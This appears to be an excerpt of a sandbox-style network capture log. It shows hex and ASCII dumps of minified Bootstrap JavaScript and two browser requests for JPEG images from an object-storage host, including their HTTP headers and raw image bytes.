2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 6f 6d 3a 6b 2e 62 6f 74 74 6f 6d 2d 79 2e 62 6f 74 74 6f 6d 2b 67 2e 62 6f 74 74 6f 6d 2c 6c 65 66 74 3a 79 2e 6c 65 66 74 2d 6b 2e 6c 65 66 74 2b 67 2e 6c 65 66 74 2c 72 69 67 68 74 3a 6b 2e 72 69 67 68 74 2d 79 2e 72 69 67 68 74 2b 67 2e 72 69 67 68 74 7d 2c 4c 3d 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 6f 66 66 73 65 74 3b 69 66 28 22 70 6f 70 70 65 72 22 3d 3d 3d 75 26 26 4c 29 7b 76 61 72 20 41 3d 4c 5b 6f 5d 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 4f 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 5b 72 74 2c 6f 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 31 3a 2d 31 2c 6e 3d 5b 69 74 2c 6f 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 22 79 22 3a 22 78 22 3b 4f 5b 74 5d 2b 3d 41 5b 6e 5d 2a Data Ascii: om:k.bottom-y.bottom+g.bottom,left:y.left-k.left+g.left,right:k.right-y.right+g.right},L=t.modifiersData.offset;if("popper"===u&&L){var A=L[o];Object.keys(O).forEach((function(t){var e=[rt,ot].indexOf(t)>=0?1:-1,n=[it,ot].indexOf(t)>=0?"y":"x";O[t]+=A[n]*
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 75 73 65 64 6f 77 6e 2e 64 69 73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 48 2e 6f 6e 65 28 65 2e 5f 65 6c 65 6d 65 6e 74 2c 22 6d 6f 75 73 65 75 70 2e 64 69 73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 61 72 67 65 74 3d 3d 3d 65 2e 5f 65 6c 65 6d 65 6e 74 26 26 28 65 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3d 21 30 29 7d 29 29 7d 29 29 2c 74 68 69 73 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 5f 73 68 6f 77 45 6c 65 6d 65 6e 74 28 74 29 7d 29 29 29 7d 7d 2c 72 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 28 74 26 26 74 2e 70 72 Data Ascii: usedown.dismiss.bs.modal",(function(){H.one(e._element,"mouseup.dismiss.bs.modal",(function(t){t.target===e._element&&(e._ignoreBackdropClick=!0)}))})),this._showBackdrop((function(){return e._showElement(t)})))}},r.hide=function(t){var e=this;if((t&&t.pr
2025-01-09 23:51:38 UTC	15509	IN	Data Raw: 75 6d 65 6e 74 2e 62 6f 64 79 3a 64 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 29 3f 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 3a 71 2e 66 69 6e 64 4f 6e 65 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 29 7d 2c 72 2e 5f 67 65 74 41 74 74 61 63 68 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4d 65 5b 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 2c 72 2e 5f 73 65 74 4c 69 73 74 65 6e 65 0d 0a 33 62 65 34 0d 0a 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 72 69 67 67 65 72 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 63 6c 69 63 Data Ascii: ument.body:d(this.config.container)?this.config.container:q.findOne(this.config.container)},r._getAttachment=function(t){return Me[t.toUpperCase()]},r._setListene3be4rs=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("clic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49799	172.67.74.191	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	401	OUT	GET /images/img_678003bd8a5647.43110570.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	972	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: image/jpeg Content-Length: 13867 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:13:34 GMT x-rgw-object-type: Normal ETag: "f35ebdf15a728ab8e9a27cbab2e2368b" x-amz-request-id: tx00000f0dcf2e1302b213c-006780610b-5b2857-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IwTgHU%2BkWXIc9u6ryDU5cUQRQAMZ4ddP9HJAVY1jXGFHZ6VDGMcxE2%2B1YiKhjYtFXhv7h7xCsve60Bdq6Auy6xOw7CoICLFIOuFtNGsmRYtVJ3oP669CZrV7Gd46exYh8lB5vNOFqB0%2B%2B0rCByFGo7lY%2Bs7wgMSw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856203af44264-EWR server-timing: cfL4;desc="?proto=TCP&rtt=4267&min_rtt=1577&rtt_var=5973&sent=3&recv=6&lost=0&retrans=0&sent_bytes=139&recv_bytes=941&delivery_rate=63195&cwnd=222&unsent_bytes=0&cid=8336716e604fd8fe&ts=987&x=0"
2025-01-09 23:51:39 UTC	397	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 b4 01 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222@"
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 9e 8e 3c 3f a4 a7 f0 47 49 fd 93 a4 46 c1 82 46 08 e4 1a f3 19 3c 7d 74 4f cb 08 c7 d6 a1 6f 1c 5d 1c 9f 2c 7e 74 39 36 1e ea 3d aa 0f b3 cb 17 ca db 82 f1 d6 b1 f5 34 8e 38 da 44 5c e1 b0 6b 86 f0 87 8d 2e 27 f1 04 56 d3 a8 11 4d 91 f8 d7 a3 5c c2 77 1c 9c 29 39 ac a6 b9 95 8d a9 54 e4 7c c8 ce b3 4f de e1 57 96 51 da 9d 73 74 91 c9 e4 94 fb bd 6b 5a d6 35 0e 59 17 e7 da 70 2b c5 b5 ef 13 ea 4b ae 5e 45 bb 60 49 59 40 c7 a1 a8 85 35 13 4a b8 97 35 a9 ea 02 fe dd 46 36 fe 94 1d 5a d9 7f e5 97 e3 8a f2 8d 33 c4 b2 8b a0 b7 ce cd 13 1c 64 76 af 44 b2 6b 3b 9b 65 d8 db d4 f2 0e 6b 9b 15 8e fa b6 f1 b9 34 a9 2a bb 33 4b fb 5a 12 32 b1 64 7d 2a 07 d6 e2 56 db b0 03 e8 4d 39 ad e3 82 c6 52 a3 38 52 45 79 b5 c5 f4 ba b6 b5 08 89 59 5b 3b 4a af 7a cf 0b 98 bc 44 Data Ascii: <?GIFF<}tOo],~t96=48D\k.'VM\w)9T\|OWQstkZ5Yp+K^E`IY@5J5F6Z3dvDk;ek43KZ2d}VM9R8REyY[;JzD
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 0c 23 31 b8 89 42 a1 ce d3 d0 21 27 24 13 d8 67 9c f6 39 cf 07 8e 04 e9 d3 09 18 3c 58 d8 70 43 0f e9 5e cb 1e b9 a7 0b 5b 68 2f 65 1e 74 d6 e9 20 8c a9 62 e0 f1 c0 1c 9e 87 a5 67 df 78 7c ce be 65 b4 2c d1 8e 55 1c 05 75 1e 83 d4 7b 37 e6 05 69 52 93 69 35 b1 cf 4a bf 2e 8c f3 50 d7 96 22 c2 e6 dd 00 02 e5 10 a1 5c a3 2b 1d a5 48 ee 39 e9 58 df 12 bc 21 6f a6 b4 5a be 9d 68 2d 61 98 66 7b 45 39 11 12 78 65 ff 00 64 ff 00 51 f4 1e b1 65 a0 cc 5d 43 db 4b 18 43 b8 3c ca a1 63 f7 50 ac d9 3e 99 c0 fa f4 ad 4d 56 0b 0d 42 ca 30 6d b1 f6 72 36 b3 00 46 ce 87 90 4f 18 e7 07 ae 2b 4a 2e cb 53 3a f2 53 96 87 ca 38 c8 a0 0c 57 71 e3 bf 0c 47 a7 dc 3e ab 62 14 5a 4d 26 25 85 57 1e 43 9e c0 7f 74 9f cb a5 71 25 85 74 c5 a9 2b a3 09 45 c5 d9 90 bb 1e 94 cc d3 df 93 Data Ascii: #1B!'$g9<XpC^[h/et bgx\|e,Uu{7iRi5J.P"\+H9X!oZh-af{E9xedQe]CKC<cP>MVB0mr6FO+J.S:S8WqG>bZM&%WCtq%t+E
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: ab 5f a9 a2 92 3d 4a f1 c2 89 1b d0 57 83 78 aa ce e4 6b 37 37 92 2f ee a5 90 ed 22 bb 3b df 1d 6a 6f 6f 20 68 2d 00 20 f4 46 ff 00 e2 ab 82 9f 57 ba b9 d2 ee 60 98 23 af 99 b8 12 0e 47 d3 9a e7 93 9c 64 9a d8 a6 e3 25 a9 85 67 69 71 7f 79 0d 9d a4 2f 35 c4 ee 23 8e 34 19 2c c4 e0 01 4c 96 27 82 67 8a 55 29 22 31 56 53 d4 11 c1 15 ec 9f 09 f5 a8 3c 35 e0 7d 7b 54 b9 d7 6e 8c 10 a9 73 a6 d8 aa f9 90 97 64 8f ce 25 c6 dd dc ae 07 23 00 9e 7a 0d 9f 8b 3a b9 bd d1 3c 47 1d ae ad ac 8f b2 5d 5a db dc 5a 4c 62 fb 33 09 17 78 d8 02 ee fe 10 79 3d 6b a0 e7 3c 65 bc 21 e2 15 b7 b0 9c 68 d7 92 26 a0 18 da f9 51 17 69 30 48 3f 2a e4 83 c1 e0 81 91 cf 4a 58 fc 29 ae 8d 56 2d 3a 6d 1b 50 8a f6 55 df 1d b4 96 ce b2 3a f3 c8 52 32 47 07 27 d8 fa 57 d2 96 97 01 e3 d3 57 Data Ascii: _=JWxk77/";joo h- FW`#Gd%giqy/5#4,L'gU)"1VS<5}{Tnsd%#z:<G]ZZLb3xy=k<e!h&Qi0H?*JX)V-:mPU:R2G'WW
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 19 e3 34 fb bd 1b 5c 86 1b 83 6f a3 5f 5c b4 32 34 4e 60 81 a4 55 75 ea 0b 28 23 8f ad 77 b7 f3 5c a7 c4 3d 16 5b fb cb 6b 39 63 89 63 43 1d 9c b8 db b9 80 5d b2 8c e5 b7 30 dd d0 75 ed 5d 04 92 43 a9 6a 49 7f 0d f5 cc 49 a6 5f 5d ad d7 ee 63 f2 87 ca 54 99 86 f0 4a ec 18 52 06 72 39 e6 8b 05 cf 14 d0 ed 35 ed 59 a7 11 e9 37 57 09 11 c1 92 de dd a4 45 38 07 69 23 3c e0 8e 2a 2f 12 68 ba e5 a2 2c 97 5a 35 f5 bd aa 60 bc f2 da ba a0 24 e0 02 c4 63 ff 00 d7 5e 8f f0 aa ff 00 74 9e 20 bd 36 b6 6b 18 be de 8e 26 8e 3d 8b 82 36 85 7c b2 a8 ca f3 9f 6c 9c 1a b3 f1 5a 47 7f 08 48 86 d2 df 72 4d 14 2d 21 b9 83 7a 6d ce 40 55 01 89 c9 5c a8 e9 d7 00 66 93 d8 6b e2 3c 0b 57 cf d9 a2 23 ee ee e6 a9 69 5a 5d e6 b5 aa 5b e9 ba 7c 06 7b bb 87 09 1c 60 81 93 f5 3c 01 dc Data Ascii: 4\o_\24N`Uu(#w\=[k9ccC]0u]CjII_]cTJRr95Y7WE8i#<*/h,Z5`$c^t 6k&=6\|lZGHrM-!zm@U\fk<W#iZ][\|{`<
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 56 b2 f1 a7 8a 0e b3 6f 77 fd ad 75 73 3c 6e cc a9 70 e5 e3 c9 24 9c a1 e0 8c b1 3d 2b a6 f1 5d 85 9c 13 ea 2b 15 b4 28 ab 23 6d 0b 18 18 e4 d7 3d e1 ab 78 07 88 2c 84 d1 44 d0 bc aa 92 2b 81 b4 a9 3c e7 db d6 9d 0a 9c e9 8f 1d 86 f6 52 8a ee 8d 6b cd 67 52 9b 4d d5 24 7d 46 46 9b 52 61 35 d4 aa 02 99 98 1c 81 d3 21 7d 00 c0 e9 e9 54 f5 8f 14 f8 8e ff 00 48 65 b8 bf 79 8b 5a fd 96 72 ea ac cd 16 fd e4 12 47 5d c0 1d dd 78 eb 5e 97 7b 67 a6 cf 2b 2a 58 5a 6d 3d 0a c0 a0 01 e8 38 ff 00 3f ce 18 f4 ad 3b 70 06 c2 d0 a9 e0 e6 15 e4 7e 55 12 c5 25 2b 0a 18 36 e3 73 c9 f4 ef 1e f8 8f 47 d0 9f 47 d3 af 52 da d2 44 64 73 1c 08 24 6c f7 32 63 76 40 c8 07 3c 03 81 50 41 e3 6f 10 db 5b 58 c1 0e a2 eb f6 18 e5 86 da 4d 8a 64 89 24 5d ac aa e4 6e 03 1d 39 e3 3c 62 8d Data Ascii: Vowus<np$=+]+(#m=x,D+<RkgRM$}FFRa5!}THeyZrG]x^{g+*XZm=8?;p~U%+6sGGRDds$l2cv@<PAo[XMd$]n9<b
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 5b 9b 33 02 31 65 8f fb 36 d8 28 63 d4 e0 47 d7 8a a8 9e 2a d5 ad 64 2f 05 ca 26 2f 45 fe d1 0a 60 4e 01 01 80 c6 07 de 3c 0e 3d ab b3 d1 ed 74 8d 43 49 63 15 a5 a0 93 3f f3 cd 7f c2 a2 93 c3 76 ae 49 7b 7b 75 1d f1 18 ff 00 0a e5 a9 52 ce c7 7d 3c 33 71 ba 38 88 b5 ed 4c 5a ea 31 7d b6 52 9a 8f 37 61 8e 7c d2 1b 76 4e 7b e7 bf b9 f5 ae 5a fa fa ee 74 8a d2 6b a9 e4 b7 b6 2c 20 89 e4 25 22 dc 72 db 41 e1 72 79 38 eb 5e ba da 5e 97 1c 2c a9 69 01 20 75 31 8a f2 9b f5 8c df 4c 42 28 1b ce 00 15 74 e7 cc 63 88 a7 c8 87 da 42 64 95 80 e8 17 24 9e 82 a4 78 22 8d 48 c8 3e e4 55 8b 58 fc bb 7d cd c0 3f 33 7f 41 50 c8 d1 bb 12 70 6b 63 94 a8 cb 83 c7 e9 48 a9 bd b1 d3 eb 56 3c 98 98 7d e6 1f 4a 61 4c 36 dc ee 1d b3 40 1d 5f 84 b5 93 65 32 d8 5c 39 fb 3c 87 08 49 Data Ascii: [31e6(cG*d/&/E`N<=tCIc?vI{{uR}<3q8LZ1}R7a\|vN{Ztk, %"rAry8^^,i u1LB(tcBd$x"H>UX}?3APpkcHV<}JaL6@_e2\9<I
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: ea 56 03 f8 8d 74 d6 fa e5 f4 d2 04 79 03 0c 57 3b 23 f9 77 32 07 eb b8 d2 85 37 02 6b d4 53 b1 6a e9 b7 6d 41 9d be d5 57 c9 cf 4c 83 56 65 c2 be 48 cd 40 d3 b0 ce 12 b6 b9 c8 34 44 c3 b8 fc 69 08 75 eb b3 6d 35 a6 2f d5 1b f0 a6 81 93 c4 72 1f f8 15 00 6e e9 ba c7 d8 b4 6d 43 4d 8a 18 9c 5f 98 c4 8e e4 92 81 4e 7e 5f c7 15 d8 e8 d7 56 7e 19 f0 c5 8c 97 91 b6 fd 4a e7 1f 2f 50 98 e0 fe 1c 7e 75 e7 11 e1 4f 30 3f fd f5 9a d8 b0 bc 97 52 d6 74 58 2f 6e 49 b6 b5 99 42 2c 9c 6c 52 c0 9f e4 2a 66 ae 8d 69 49 a9 a6 8f 5c 12 49 1b 95 52 30 17 2a 4d 56 d4 34 cb 0f 11 c0 b6 ba 94 01 8b 21 29 32 70 f1 9f 50 7f a5 73 b6 17 c2 f3 e2 0e ad b2 60 d0 45 12 46 85 5b 2b c6 33 8f c7 35 9f e2 1d 5e ee cf 4a d2 35 7b 67 31 ce b2 63 19 e1 94 8c 90 7d b8 ae 24 9f 32 48 f5 9c Data Ascii: VtyW;#w27kSjmAWLVeH@4Dium5/rnmCM_N~_V~J/P~uO0?RtX/nIB,lRfiI\IR0MV4!)2pPs`EF[+35^J5{g1c}$2H
2025-01-09 23:51:39 UTC	939	IN	Data Raw: 71 9f c6 a2 cf 9e fd 0e d8 54 a7 1c 3b 8f da 6f f0 38 bd 3a 68 bc 27 ab ea 71 dc c2 f3 48 a1 a1 22 23 fc 4a d8 cf 3d aa 3d 7e f2 d2 fb 46 d2 2c ed 67 59 59 13 7c 8a bf c0 76 81 83 ef d6 a9 69 ad 7b a8 eb 51 1b 78 9e ea ea 49 43 ec c6 4b 9c e4 e6 bb 1f 88 de 06 1e 1d bb fe dc d3 20 c6 9d 72 7f 7b 1a f4 81 cf fe ca 7b 7a 1e 3d 29 4a 9a 72 e6 32 8d 79 28 72 74 3c e0 48 d1 3f 96 46 31 d2 a1 b8 8e 49 65 01 46 49 ed 53 87 17 17 e8 31 82 78 ad 18 62 f2 35 16 f3 40 c0 1c 52 9c 9c 55 ec 25 69 7b b7 22 8b 4f 55 b2 f9 87 ce 45 65 cb 65 71 19 2c 54 95 f6 ad cb 89 f1 36 01 e2 a5 12 f9 91 6c 61 d6 ab 9d b4 98 72 23 9e 8e 6d b2 27 15 66 4b 91 1b 72 2a fc fa 59 5d af 1c 25 b2 7b 0a 8f 50 b1 94 40 09 81 c7 fc 06 9a 6c 4d 58 b1 62 1a 66 8a 75 38 28 c1 80 3d 0e 2a f6 af e2 Data Ascii: qT;o8:h'qH"#J==~F,gYY\|vi{QxICK r{{z=)Jr2y(rt<H?F1IeFIS1xb5@RU%i{"OUEeeq,T6lar#m'fKrY]%{P@lMXbfu8(=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49803	172.67.74.191	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:38 UTC	401	OUT	GET /images/img_678003ec457cb9.14918951.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:39 UTC	972	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:39 GMT Content-Type: image/jpeg Content-Length: 13645 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:14:20 GMT x-rgw-object-type: Normal ETag: "87fba007100039d9299ebbfb126b8e64" x-amz-request-id: tx0000077cbf90481650bec-006780610b-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cr7ZgUF9tPCbayip30H5pUQbEGk%2FS77DauPOrVEyNKu0gel2uVx9yDlt%2BTBPYmVMswLG9MvhQUtgM4A26a5Jw2qhX%2BscWE7n6km1LOJfDwRtCafBqtg27rtj1MM5fA1zSQyVHZXRqrVds0xbAgkVevPStitJ7kfa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856210c3a0f81-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3230&min_rtt=1516&rtt_var=3854&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2480&recv_bytes=983&delivery_rate=1917268&cwnd=242&unsent_bytes=0&cid=f91342776bb211c3&ts=1070&x=0"
2025-01-09 23:51:39 UTC	397	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 b4 01 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222@"
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: f7 aa e6 a6 a5 a7 79 16 f0 d8 c1 79 32 ee 42 cc 0b 60 30 3d 07 03 f9 57 35 26 97 73 04 c4 88 ca 5b b7 f0 bc 85 b3 ee 09 00 fe 95 7b 5b d4 e4 8f 52 8a e4 cb 76 83 e5 64 49 ed f8 e4 70 03 8e 31 cf 23 35 95 79 ac 5d 5f 5e 13 2f 03 76 00 07 35 cf aa 3d c6 e3 d4 c6 87 c3 09 aa 6a 32 4f c7 94 66 31 ed 1e 98 e4 ff 00 3f ca bb d8 ec e1 b5 52 b0 46 a8 be 8a 31 56 a1 d2 13 4a 8e dd 04 45 1a 58 44 87 3e a7 96 1f 50 7f a5 39 d6 bb 28 cb 9a 3c c9 dd 1e 7d 49 45 bb 24 56 0b 4a 16 a6 db 8a 55 89 dc 80 a8 c4 9e 98 15 ad ec 66 b5 21 d9 e9 5a e9 7b 22 5b c9 2a 40 f2 b7 94 78 40 09 27 a7 73 55 a5 d3 e6 b6 84 cb 70 a2 25 18 f9 58 f2 7f 0a af a8 98 65 b2 59 38 8e 35 07 1b 66 64 e3 3d 49 5e 69 d4 c2 ce a5 3f 68 96 c3 a3 88 84 2a 72 37 b9 4a 5b f9 8d 89 79 22 75 9f 27 0a dc 71 Data Ascii: yy2B`0=W5&s[{[RvdIp1#5y]_^/v5=j2Of1?RF1VJEXD>P9(<}IE$VJUf!Z{"[@x@'sUp%XeY85fd=I^i?hr7J[y"u'q
2025-01-09 23:51:39 UTC	1369	IN	Data Raw: ce d6 dc 1b b1 e6 9b 86 26 38 49 19 db 8f bd cf 3f 95 62 dd e9 c0 46 6e 2d 09 96 dc 7d ef 54 fa 8f 4f 7a f0 b9 5b a6 aa 25 64 cf 55 fb b5 1c 1b bb 46 68 19 a3 14 e1 41 a9 19 1e 31 46 29 e4 52 50 04 64 73 45 38 d2 50 22 ed 28 eb 4d cd 38 71 48 63 85 2e 29 01 1e b4 ec 8a 00 31 4a 28 a5 02 80 1f 4d 23 9a 77 6a 43 40 0c 22 90 2d 3c 8e 68 c5 00 37 14 bb 69 45 2d 00 37 14 f8 d9 63 6f 31 c7 ee e3 05 df d9 40 c9 fd 05 37 15 43 56 d7 2d e2 d0 ef 74 f8 80 12 c8 f1 a3 4b 8e ab c9 65 1e dc 28 fc 4d 44 dd 96 86 75 6a 28 46 ec e4 74 9f 36 c7 51 1a 84 71 2c d7 28 be 65 b4 0d 9c 3c 99 e3 a7 a7 5c 77 e9 5d 04 5a 45 cf 8d b4 99 f5 68 55 6d 21 b6 88 a4 6a ef b8 cb 26 e2 ef 93 d4 0c b1 03 d0 63 d2 b8 e3 ab c9 02 89 1e 36 fd dc 8c 4a 15 c8 3d c0 e3 b5 77 5e 1b f1 9d af 90 d7 Data Ascii: &8I?bFn-}TOz[%dUFhA1F)RPdsE8P"(M8qHc.)1J(M#wjC@"-<h7iE-7co1@7CV-tKe(MDuj(Ft6Qq,(e<\w]ZEhUm!j&c6J=w^
